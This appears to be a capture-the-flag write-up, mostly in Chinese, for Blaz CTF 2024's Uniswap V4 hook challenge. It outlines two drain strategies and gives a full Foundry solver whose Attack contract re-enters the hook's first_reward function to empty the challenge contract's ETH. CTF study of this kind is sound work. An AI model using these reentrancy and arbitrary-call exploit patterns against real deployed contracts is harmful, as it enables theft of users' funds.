---
# System prepended metadata

title: Blaz CTF -- Try Uniswap V4 Hook Attack

---

## Title
https://github.com/fuzzland/blazctf-2024.git

tutori4l 题目：
Challenge的总量是2 ether，player手里有1 ether，challenge里有1 ether。现在就是需要把challenge合约的1 ether取出来。

## 思路
仔细留意不难发现，要把challenge合约的eth和ERC20转走只能调用arbitrary方法。我们可以通过arbitrary方法，把1 ether转到hook里。（调用hook的set_reward）即可然后再想办法从hook里把钱取走。

```solidity=

    function arbitrary(address a, bytes calldata data) external payable {
        ....
        if (a == address(this) || a == address(hook)) {
            (bool success,) = a.call{value: address(this).balance}(data);
            require(success, "call failed");
        }
        
    }
```

因为钱都在Challenge合约里，我们首先需要把Challenge的钱往池子里加流动性/Set Reward。然后再想办法掏出来。这里其实衍生出多种方法：

## 方法一

直接操控Manager，绕开hooks：

1. Player发起AddLiquidity，但是通过Arbitrar调用manager.settleFor(player）让Challenge做结算，
2. 最后plyer拿到Lp后Rug走即可

## 方法二

1. 先把ERC20通过Arbitrary从challenge取出来，然后往池子里加流动性（大概0.01E）就足够了
2. 通过Arbitrary的set_reward，把challenge的ETH打到池子里
3. 通过构造swapParams触发first_reward函数，这个时候会fallback回一个hookdata地址
4. 恶意构造一个hookdata地址接收地址，通过重入的方式，再次调用first reward，构造出一个big Amount，然后就能彻底把ETH卷走。

留下方法二的代码：

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-ctf/CTFSolver.sol";
import {Challenge} from "../../src/challenge.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Hook} from "../../src/Hook.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";

contract Attack {
    address player;
    address hook;
    constructor(address _player, address _hook) {
        player = _player;
        hook = _hook;
    }

    receive() external payable {
        console2.log("Attack receive: ", msg.value);
        
        Hook(hook).first_reward(IPoolManager.SwapParams({
                zeroForOne: true,
                amountSpecified: -10001e18,
                sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
            }), 
            abi.encode(address(player))
        );
    }
}

contract Solve is CTFSolver {
    address hook = 0x0895379Ab193141F30805CE48b9a1B75DadAC0C0;
    address token = 0x75537828f2ce51be7289709686A69CbFDbB714F1;
    address manager = 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512;

    PoolModifyLiquidityTest lpRouter;
    PoolSwapTest swapRouter;
    
    // Run
    // forge script script/shaneson/Solve.s.sol:Solve --rpc-url http://127.0.0.1:8545 --broadcast -vvvv

    // Test: 
    // forge script script/shaneson/Solve.s.sol:Solve --fork-url http://127.0.0.1:8545 -vvvv
    function solve(address challenge, address player) override internal {  
        payable(address(0)).call{value: player.balance - 1e18}("");
        console2.log("challenge balance: ", IERC20(token).balanceOf(address(challenge)));

        lpRouter = new PoolModifyLiquidityTest(IPoolManager(manager));
        swapRouter = new PoolSwapTest(IPoolManager(manager));
        Attack attack = new Attack(
            player,
            hook
        );

        PoolKey memory key = PoolKey({
            currency0: Currency.wrap(address(0)),
            currency1: Currency.wrap(token),
            fee: 0,
            tickSpacing: 10,
            hooks: IHooks(hook)
        });

        // extract Token to player, and set reward into pool
        Challenge(payable(challenge)).arbitrary(token, abi.encodeWithSelector(IERC20.transfer.selector, player, 1000e18));
        Challenge(payable(challenge)).arbitrary{value: 9e17}(hook, abi.encodeWithSelector(Hook.set_reward.selector));

        IERC20(token).approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity{value: 1e5}(key, IPoolManager.ModifyLiquidityParams(-600, 600, 1e5, 0), new bytes(0));
        
        // 当 zeroForOne = true 且 amountSpecified < 0 时，表示你正在卖出 token0 并买入 token1。
        // 没法直接传入很大的一个amountSpecified值，因为没有这么多以太坊
        swapRouter.swap{value: 3046}(
            key, 
            IPoolManager.SwapParams({
                zeroForOne: true,
                amountSpecified: -11e17,
                sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
            }),
            PoolSwapTest.TestSettings({
                takeClaims: false,
                settleUsingBurn: false
            }),
            abi.encode(address(attack))
        );


        console2.log("player balance: ", address(player).balance);
        require(Challenge(payable(challenge)).isSolved(), "Failed");
    }



}```














